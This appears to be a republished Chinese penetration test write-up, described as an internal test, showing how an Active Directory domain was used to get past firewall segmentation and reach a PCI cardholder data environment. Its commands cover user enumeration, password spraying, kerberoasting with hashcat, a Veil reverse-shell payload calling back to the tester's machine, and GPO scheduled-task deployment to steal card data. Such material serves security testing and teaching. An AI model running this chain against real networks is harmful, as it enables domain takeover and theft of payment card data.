看我如何使用Windows域绕过防火墙获取持卡人数据的访问权限

写在前面的话

在这篇文章中,我们将介绍如何绕过防火墙系统,并获取到持卡人数据环境(CDE)的访问权。最终目标:提取目标用户的信用卡数据。

如果你需要在你的网络中存储、传输或处理信用卡数据的话,那么信用卡数据安全就必须要得到有效保障。根据PCI数据安全标准(PCI-DSS),持卡人数据可以直接在内部网络中传输和发送,前提是网络系统已实施了网络分割,而这种网络范围(划分持卡人数据环境跟其他网络)的定义一般都是通过防火墙来实现的。

为了保护客户的机密数据,我们需要对网络的实现细节进行修改。假设公司拥有一个非常大型的网络系统,全部的地址都在10.0.0.0/8这个范围内。持卡人数据则需要单独划分至192.168.0.0/16这个范围,并通过防火墙进行隔离。

注:CDE一般由呼叫中心(负责处理电话订单)和操作人员(负责将支付信息填写进Web表但)组成。

此次测试只是一次内部测试,因此我们直接连接至公司的内部办公网络(10.0.0.0/8地址范围)。从这个地址利用ping命令和端口扫描功能来扫描CDE环境:

Ping扫描基本上相当于直接运行ping命令,但nmap可以“一键式”扫描整个IP段。“hosts up”是第二个命令的输出,因为我们添加了“-Pn”参数来判断是否是第一次ping,因此nmap将会报告当前范围内所有“up”的主机。

因此,除非部署了防火墙规则来绕过漏洞,或防火墙使用了弱密码,否则这种方式的效果是不会理想的。因此,我们第一不要做的就是如何通过获取域管理员权限来控制活动目录。

如何变成域管理员?

在我们的场景中,我们选择使用kerberoast来控制域。入侵活动目录的第一步,通常需要获取任意用户账号的访问权,只要我们能够通过域控制器的认证就可以了。在Windows中,所有的账号都能通过域控制器的认证,即使它们没有权限来做实际的事情。也就是说,最低权限的账户,只要登录完成之后并输入正确的密码,它就可以通过验证。

在这名用户的站点上,没有在域控制器中启用会话。因此,我们的域控制器为10.0.12.100,“PETER”。我们可以使用enum4linux之类的功能根据来枚举出用户列表,并获取到域中每一位用户的用户名:

$ enum4linux -R 1000-50000 10.0.12.100|tee enum4linux.txt

拿到用户列表之后,我们就可以对其进行解析处理了:

$ cat enum4linux.txt | grep '(LocalUser)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed's/MACFARLANE\\//g'

这个网络非常庞大,有超过25000个活动用户,不过我使用grep进行了简单的用户筛选,足以演示我们的攻击操作了。

现在,拿到包含用户列表的文本文件后,我们就可以使用CrackMapExec之类的工具来猜测用户密码了。这里我们猜测目标账号的密码是否为“Password1”:

$ cme smb 10.0.12.100 -u users.txt -pPassword1

如果我们想要继续猜解,则需要指定“—continue-on-success”参数:

拿到这个用户账号之后,我们就可以查询活动目录,并获取服务账号列表了。服务账号就是针对服务运行的用户账号,比如说Microsoft SQL Server等等,它们需要在特定用户账号环境中运行。活动目录的Kerberos认证系统可以用来提供访问权限,因此活动目录会提供一个“服务令牌”来运行用户进行认证。

通过从域控制器请求Kerberos服务账号列表,我们还可以得到每一个账号的“服务令牌”。这个服务令牌使用了服务账号的密码进行加密。所以,如果我们破解密码,我们就可以使用这个账号,而这种账号一般都是高权限账号:

我们可以看到,其中一个账号为域管理组成员,所以我们可以直接破解它:

$ hashcat -m 13100 --potfile-disableSPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
Hashcat运行之后,我们就拿到了明文密码:

这是一个活动账号,我们可以再次使用CrackMapExec:

$ cme smb 10.0.12.100 -u redrum -p'murder1!'

非常好,我们拿到了域控制器的管理员账号!

现在,虽然我们不能直接访问目标设备,但我们可以通过活动目录域来让域控制器帮助我们跟目标设备进行交互。我们的目标是在CDE中通过呼叫中心控制同一活动目录中的其他计算机。为此,我们还需要深入了解组策略对象(GPO)。

GPO允许将各种范围级别的设置应用于用户和计算机,它可以以不同范围级别控制域中的计算机。客户GPO的许多功能都适用于统一管理组织中的IT设置。例如,统一设置密码策略,或者统一设置为用户桌面显示哪些图标(例如,打开公司网站的快捷方式)。而有一个GPO可以运行微软中的“计划任务”,这正是我们所需要的。

这里我创建了一个需要在目标机器中运行的脚本,让它们连接回我们的机器。以下是具体步骤:

1.生成payload。这里我们使用了Veil Evasion。我们的IP地址是10.0.12.1,因此我们设置回连到这个地址:

$ veil -t EVASION -p 22 --ip 10.0.12.1--port 8755 -o pci_shell

2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。

3.在活动目录中找到CDE。根据我们对目标的了解,他们的呼叫中心在2楼工作。通过浏览目录,我们定位到一个特殊的名字:

4.将我们用Veil制作的恶意脚本放入文件夹,然后在域控制器上进行共享。在共享和目录上设置权限,允许所有域用户读取:

5.创建GPO策略:

6.在编辑这个新的GPO时,点击“计划任务”,并创建新的“即时计划任务”:

7.创建指向共享恶意脚本的任务。同时在common下设置”Run in logged-on user’s securitycontext”:

等待片刻后,情况如下所示:

没错,就是我们要的支付卡数据:

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-06-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏浪淘沙

往gitHub上上传自己的项目

1。首先你得注册一个自己的GitHub账号,注册网址:https://github.com/join

16220
来自专栏锦小年的博客

linux服务器搭建之路17-通过zerotizer做公网访问

一般来说,内部服务器不提供公网访问,常常有需要公网访问,找了很多工具,花生壳什么的,花了一些钱,很不稳定。最后发现zerotizer这个工具,非常好用。官...

14420
来自专栏Create Sun

mui 百度语音识别转换文字

  用mui混合开发的APP,现有一个功能需求就是语音转换成文字,并把语音进行保存。对此考虑两种选择讯飞和百度。最终选择了百度语音。

39910
来自专栏魏晓蕾的专栏

数据库MariaDB及MySQL

(1)MariaDB的特性: 1)插件式存储引擎:存储管理器有多种实现版本,彼此间的功能和特性可能略有区别;用户可根据需要灵活选择,存储引擎也称为“表类型”。...

14710
来自专栏冷冷

基于oauth 2.0 实现第三方开放平台

通过开放自己平台产品服务的各种API接口,让其他第三方开发者在开发应用时根据需求直接调用,例如微信登录、QQ登录、微信支付、微博登录、热门等。 让第三方应用通...

14510
来自专栏强仔仔

利用redis实现每日签到功能

基于上述的分析,这边我们可以用redis来实现每日签到的功能。如果签到过往数据不需要保留的话,可以给redis的key值设置过期时间,好了我们来看看具体的代码:

25610
来自专栏锦小年的博客

linux服务器搭建之路13-用户/用户组管理

Linux系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统。用户/用户...

14520
来自专栏强仔仔

微信支付之微信小程序支付

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/...

65930
来自专栏锦小年的博客

linux服务器搭建之路12-修改文件/文件夹属性和权限

通过ls -l 目录/文件可以查看其属性和权限,例如查看当前文件夹下的所有文件属性

9230
来自专栏冷冷

Spring Cloud OAuth 实现微服务内部Token传递的源码解析

17330

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励